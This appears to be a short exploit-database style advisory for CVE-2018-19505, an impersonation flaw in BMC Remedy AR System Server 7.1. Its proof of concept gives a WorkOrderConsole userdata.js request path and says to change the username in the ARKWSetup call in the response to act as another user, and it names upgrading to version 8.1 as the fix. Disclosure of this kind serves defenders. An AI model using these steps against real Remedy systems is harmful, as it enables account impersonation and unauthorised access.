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# Exploit Title: Impersonation may lead to incorrect user context in Remedy
AR System Server in BMC Remedy 7.1
# Date: 23-11-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.bmc.com/
# Software Link: http://www.bmc.com/
# Version: Impersonation may lead to incorrect user context in Remedy AR
System Server in BMC Remedy 7.1
# Tested on: all
# CVE : 1CVE-2018-19505
# Category: webapps

1. Description

Remedy AR System Server in BMC Remedy 7.1 may fail to set the correct user
context in certain impersonation scenarios, which can allow a user to act
with the identity of a different user.


2. Proof of Concept

Impersonation may lead to incorrect user context in Remedy AR System Server
in BMC Remedy 7.1.

Go to WorkOrderConsole:

In Request:
/WOI:WorkOrderConsole/Default+User+View+(Support)/userdata.js?winname=SERVERWOIWOI+WORKOrderConsole12345643244
(last values can change)

In response change the user value in function
UserData_Init(){ARKWSetup(2,"USERNAME_TO_CHANGE","....more values).


3. Solution:

Update to the latests version Remedy AR System Server in BMC Remedy 8.1.

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